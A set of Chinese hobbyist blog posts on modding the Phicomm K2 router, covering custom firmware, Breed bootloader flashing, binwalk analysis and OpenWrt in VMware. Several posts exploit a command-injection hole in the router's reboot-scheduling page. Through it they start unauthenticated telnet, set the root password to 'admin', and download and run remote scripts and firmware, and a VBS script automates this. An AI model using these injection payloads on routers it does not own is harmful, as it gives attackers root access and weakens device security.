分类: 硬件

斐讯K2 V22.5.9.163官方固件定制版本V1.1,集成breed,支持官方版本直刷

没有评论

2017年3月18日 at 下午8:18分类:硬件 阅读: 580 次

本固件为斐讯K2 V22.5.9.163的修改版本

本固件支持从官方版本直接升级,并集成了最新的breed,刷入后自动将bootloader更新为最新breed。



固件下载
--------------------------------------------------------------------------------------------------------------------------------------------
固件下载地址:
http://pan.baidu.com/s/1geCr84N

目录:K2 ROM>V22.5.9.163

固件名:
k2_163_org.bin为官方V22.5.9.163版本,v1.0定制版本刷此固件可以恢复为纯正的官方版本
k2_163_vxx_breed.bin为针对163的定制版本,比如k2_163_v11_breed.bin为定制版本V1.1,带breed后缀的固件自带最新的breed程序。


当前特性
--------------------------------------------------------------------------------------------------------------------------------------------
1、官方固件净化(禁止可疑程序、关闭adpush广告推送)
2、所有添加应用缺省禁止,初始即为“纯净精简”版本
3、支持广告过滤(adbyby)、S S R 和自动中继
4、使能启动任务和计划(定时)任务,支持LED指示灯控制
5、支持官方APP本地和远程(慎用)管理

版本更新记录
--------------------------------------------------------------------------------------------------------------------------------------------
【2017-03-03】V1.0发布

【2017-03-03】V1.1发布
增加S S R和LED控制,支持从官方版本直接升级,自带breed


安装说明
--------------------------------------------------------------------------------------------------------------------------------------------
1、如果你是官方版本的固件,直接在WEB页面的“手动升级”菜单进行升级:
 nww
注:官方固件版本号需大于V21.4.6.12,如果目前的固件版本低于V21.4.6.12,请先升级到V21.4.6.12后再升级此版本

2、如果你是V22.5.9.163定制版本V1.0,请在WEB“手动升级”页面先刷入k2_163_org.bin恢复为官方固件,重启后再按照第1步刷k2_163_vxx_breed.bin,后续的定制版本支持直接从WEB页面手动升级,不需要再恢复为官方固件


3、如果你是其他定制版固件或第三方固件,请到【此贴】下载firmware_k2_V10.bin,在breed中刷入,重启后变为官方版本,然后再按照第1步刷k2_163_vxx_breed.bin




使用说明
--------------------------------------------------------------------------------------------------------------------------------------------
1、刷入固件重启后,在“高级设置”-“系统状态”页面可以看到定制版本号:
bb3


2、此固件自带breed,由于V22.5.9.163版本的分区变化,如果你后续想要刷回其他第三方固件,请先在breed“环境变量设置”中改为“禁用”,然后再刷第三方固件,否则无法启动
bb2
 
breed进入方式:电脑连接LAN口自动获取 IP 地址,按住K2复位键再通电,持续按住几秒,然后电脑访问http://192.168.1.1即可在WEB刷第三方固件

3、、由于空间限制,缺省不安装ssh,如需命令行,可以在“启动项目”添加
/usr/sbin/telnetd -l /bin/login.sh
重启后即可telnet登录K2
 

4、其他功能说明请参考【此贴

bootloader分析-breed

没有评论

2017年3月16日 at 下午2:19分类:硬件 阅读: 282 次

Ubuntu下安装binwalk:

下载:

#git clone https://github.com/devttys0/binwalk.git

#cd binwalk

安装:

$ sudo python setup.py install

解压需要7z支持

$ sudo apt-get install p7zip-full

分析breed:

解压后的文件在:

~/_breed-mt7620-phicomm-psg1208.bin.extracted

breed分为两个部分:

1、0-0x2850 为一个bin文件,这一部分一般叫做bootstrap.bin,

2、0x2850-最后(0x14e09)为一个LZMA格式(7z)的压缩文件,就是上图的2850.7z,解压后的文件是2850,我们暂把它叫uboot.bin

设备上电后开始执行bootstrap.bin, 先进行ram/flash相关的初始化,然后解压uboot.lzma成uboot.bin,最后执行uboot.bin

 

在网上搜索,找到了K2官方uboot的参考源码,据说breed也是在这个开源基础上修改的:

https://github.com/pepe2k/u-boot_mod

 

 

 

vmware安装、运行openwrt

没有评论

2017年3月16日 at 上午9:49分类:硬件 阅读: 299 次

参考:

https://wiki.openwrt.org/doc/howto/vmware

 

1、下载解压openwrt for vmware
由于要用到qemu-img,因此在centos下操作
# yum -y install qemu-img
下载文件openwrt-15.05.1-x86-64:
#wget https://downloads.openwrt.org/chaos_calmer/15.05.1/x86/64/openwrt-15.05.1-x86-64-combined
-ext4.img.gz
解压
# gunzip openwrt-15.05.1-x86-64-combined-ext4.img.gz
生成vmware用的文件
# qemu-img convert -f raw -O vmdk openwrt-15.05.1-x86-64-combined-ext4.img openwrt.vmdk

为照顾没有linux的朋友,提供解压后的vmdk文件:

openwrt

2、vmware新建虚拟机
新建-自定义:

下一步-稍后安装操作系统-选择客户机操作系统:

命名虚拟机:

虚拟内存,128足以:

网络选桥接:

 

磁盘类型:格式必须选IDE

磁盘大小,100M足以-创建新虚拟磁盘:

完成后进行虚拟机设置,删除不用的硬件:

 

将上一步生成的openwrt.vmdk拷贝到虚拟机目录,替换原来的文件

3、启动虚拟机

现在可以启动虚拟机了:

启动成功:

 

4、网络设置

openwrt中有两个网络接口,一个是LAN,对应etho,一个是WAN,对应eth1

在vmware中新增一个网卡,vmware的“网络适配器”对应openwrt中的eth0,“网络适配器2”对应openwrt中的eth1,因此我们把“网络适配器2”设置为桥接模式,可以自动获取IP,网络适配器”设置为主机模式:

如果启动后用ifconfig找不到eth0网卡,需要在openwrt.vmx文件中添加一行:

ethernet0.virtualDev = "e1000"

每个网卡都添加,比如eth1,增加

ethernet1.virtualDev = "e1000"

如果自动分配的WAN IP和LAN IP网段冲突,则编辑/etc/config/network文件,把LAN地址改一下。比如设置为192.168.21.1:

重启openwrt可以看到网络接口

eth1自动获取了IP:192.168.1.1244

测试一下能不能上网:

访问openwrt的WEB网页是通过LAN接口,如上所述LAN接口IP设置为192.168.21.1,映射到vmnet1主机模式,我们打开vmware的“编辑0”-“虚拟网络编辑器”:

 

取消dhcp分配,将网段设置为192.168.21.0,如上图

然后在计算机控制面板中设置vmnet1的IP地址为192.168.21.2:

现在你可以通过网页http://192.168.21.1来访问openwrt的web页面了:

 

 

斐讯K2开源一键刷机(breed)脚本

没有评论

2017年3月7日 at 下午7:29分类:硬件 阅读: 788 次

斐迅K2刷机的最大风险是什么?答案是刷breed或uboot(bootloader)

bootloader相当于计算机的bios,只要bios不坏,你可以通过U盘、光驱来重装系统,如果bios坏了,那就成砖了,动用编程器不是一般用户能玩转的。

K2也是一样,只要bootloader(不管是breed还是官方的uboot)没有损坏,都可以有办法挽救回来,如果bootloader坏了,就等着返厂吧...

目前刷breed的通常的方法是利用【WEB漏洞】,但是有不少用户利用此方法刷breed刷成砖了,原因是breed文件下载环节没有文件校验,如果下载失败或错误就必然成砖了。

我每次通过WEB漏洞来刷breed时也总是提心吊胆,生怕出现万一的情况,于是我写了下面的脚本,对下载的breed文件进行MD5校验后再写入。

以后刷写breed,利用定时重启的WEB漏洞输入如下语句就可以更加安全的刷写:

 

05 | wget http://iytc.net/tools/breed.sh -O /tmp/breed.sh;chmod 755 /tmp/breed.sh;/tmp/breed.sh

 

如果执行成功,K2会自动复位,指示灯变红;如果失败,K2不会复位,也不会损坏uboot。
如果你执行了上述语句后K2没有复位,请检查你的操作步骤是否执行正确(注意输入语句后需重新选择05选项,可以看到"05"后的新增语句)、K2是否能够正确上网等。

上面语句中breed.sh脚本的详细内容如下,可供参考:
#K2能正常联网,下载breed
wget http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin -O /tmp/breed.bin
#判断是否有下载文件
if [ -f "/tmp/breed.bin" ] ;then
vmd5=`md5sum /tmp/breed.bin|cut -d ' ' -f1 `
#判断下载文件的MD5值是否正确
if [ "$vmd5" = "29bb021be2cc037ca4d8daa2d4b90a59" ] ;then
#如果正确则开始刷写breed
mtd unlock Bootloader
mtd -r write /tmp/breed.bin Bootloader
fi
fi

 

另外请注意:由于K2_V22.5.9.163、V22.5.7.118 等固件的分区表改变,导致和目前的breed不兼容,这些版本如果刷了目前的breed,将导致无法正常启动K2(可以进breed刷第三方固件)。因此建议这些版本在下载好第三方固件、准备刷第三方固件后再刷breed。V22.4.x.xxx固件无此问题。

 

【一键刷机脚本】
--------------------------------------------------------------------------------------------------------------------------------------------------------
你是不是觉得上面的步骤很麻烦,有时我自己也觉得麻烦,那我们再来做一个一键刷机的脚本。
我们用vbs脚本来模拟K2网页的登录以及WEB漏洞语句的输入过程。

在执行脚本前,先保证你的K2能够正常联网。然后K2的LAN地址设置为缺省的http://192.168.2.1,登录密码设置为"admin",计算机通过wifi或网线能够正常连接管理页面。

下载并解压下面的脚本文件,然后在计算机上双击执行,会自动弹出IE界面,然后自动刷机,无需人工操作:

breed

如果执行成功,K2会自动复位,指示灯变红,表示已经刷入了最新breed;

如果失败,K2不会复位,也不会损坏uboot,但是强烈建议如果失败在执行脚本后30秒之内不要进行任何操作(比如重新执行脚本、断电、复位等)。

这是个开源的脚本文件,你可以用任何文本编辑器打开并修改,比如你可以配置缺省的登录密码及K2地址:
password = "admin" '登录密码
k2_url = "http://192.168.2.1/" '登录网址

其实这个脚本的作用不只刷breed这么简单,事实上,你可以把它改成一键执行K2上的任何命令,比如一键开启telnet,只需修改mcmd语句:
mcmd="05 | /usr/sbin/telnetd -l /bin/login.sh"

如上一键脚本在win7、win10,K2 V22.4.5.42、V22.5.9.163版本测试通过
放心,这是安全刷机,只要你不在刷的时候断电或复位,不会损坏你的bootloader的!!

 

如果你运行脚本出现错误,请设置windows的“用户账户控制设置”为“从不通知”:

20170309065508

 

斐讯K2 V22.5.9.163版本安装telnet、ssh和breed的方法及净化、精简、去广告版本安装

29条评论

2017年2月25日 at 上午10:49分类:硬件 阅读: 5,517 次

本方法采用WEB漏洞来让K2运行指定命令

1、WEB漏洞介绍

计算机连接K2(可通过wifi或LAN口),K2 WAN口连internet,先保证K2可以正常上网

用Firefox,傲游,Chrome等浏览器登录http://192.168.2.1

选择右上角的“定时重启路由器”

点选时间中的右侧下拉分钟选择框,鼠标箭头(手势)放在05上,点击鼠标右键,在Firefox或傲游浏览器“审查元素”(傲游浏览器先按“F12”按键打开审查页面后再点击定时重启):

双击"05",改为你要执行的命令,比如我们要启动telnet服务,可以输入:

05|/usr/sbin/telnetd -l /bin/login.sh

在定时重启路由器页面上重新选择05之后(这里要注意,一定要重选,并且重选后可以看到05后面自己输入的字符):

点击“保存”按钮后,就相当于K2执行了“/usr/sbin/telnetd -l /bin/login.sh”命令启动了telnet服务。

你可以通过此方法来执行多条命令。

 

2、开启telent命令

如第一节所描述,执行下面的命令即可:

05|/usr/sbin/telnetd -l /bin/login.sh

 

3、安装、启动ssh命令

在WEB页面分别输入下面几条命令并保存

05|opkg install http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/base/dropbear_2014.63-2_ramips_24kec.ipk

05|/etc/init.d/dropbear enable

05|echo -e 'admin\nadmin' | passwd root

05|/etc/init.d/dropbear start

ssh的登录用户名:root   密码:admin

 

4、安装净化版本、精简、去广告版本

利用WEB漏洞输入如下命令即可变为净化版本:
05|wget http://iytc.net/tools/k2_clear.bin -O /tmp/k2_clear.bin;sleep 1;sysupgrade -r /tmp/k2_clear.bin;sleep 1;reboot

输入如下命令可以变为精简版本(精简版本在净化版本上去除了ssh,内存占用更少):
05|wget http://iytc.net/tools/k2_min.bin -O /tmp/k2_min.bin;sleep 1;sysupgrade -r /tmp/k2_min.bin;sleep 1;reboot

输入如下命令可以变为adbyby去广告版本(在精简版本上增加adbyby去广告,缺省关闭,在广告屏蔽页面打开):

05|wget http://iytc.net/tools/k2_adbyby.bin -O /tmp/k2_adbyby.bin;sleep 1;sysupgrade -r /tmp/k2_adbyby.bin;sleep 1;reboot

执行后K2会复位两次,请耐心等待。

上述的净化、精简、去广告版本在恢复出厂设置后会失效,变为纯正的官方版本,如想切换,需再在WEB上输入上述的命令。

20170214142347

官方原始版本和精简版本的内存占用及网络进程对比图:

diffk2

 

5、安装breed

 

注意:K2 V22.5.9.163版本与目前的breed不兼容,不建议安装breed,如安装breed,需要进行修改,否则无法启动K2。目前只建议在需要降级或刷第三方固件时才安装breed!

刷breed失败将导致K2变砖并不可恢复,请小白用户慎重!

 

首先要确保K2能够正常联网,因为需要从网上下载breed,如果下载失败或错误,将导致K2变砖并无法恢复!

 

输入下面命令来安全的刷写breed:

05 | wget http://iytc.net/tools/breed.sh -O /tmp/breed.sh;chmod 755 /tmp/breed.sh;/tmp/breed.sh

上述操作是利用漏洞执行了脚本,在脚本中会下载breed,并校验下载文件是否正确,然后再写入bootloader,保存后,路由器会写breed并重启。

 

你也可以使用【开源一键刷机脚本】来更加快速、简单、安全的刷写breed。

 

breed的修改(降级或刷第三方固件不需要此步骤):

进入breed环境变量设置---->启用---->位置选择breed内部---->设置---->重启---->再次中断进入breed---->telnet 192.168.1.1进入breed---->手动设置启动位置env set autoboot.command "boot mem 0xbc0a0000"---->保存env save---->重启reset

20170225105841

20170225110030

如果换了其他固件需要进breed禁用环境变量。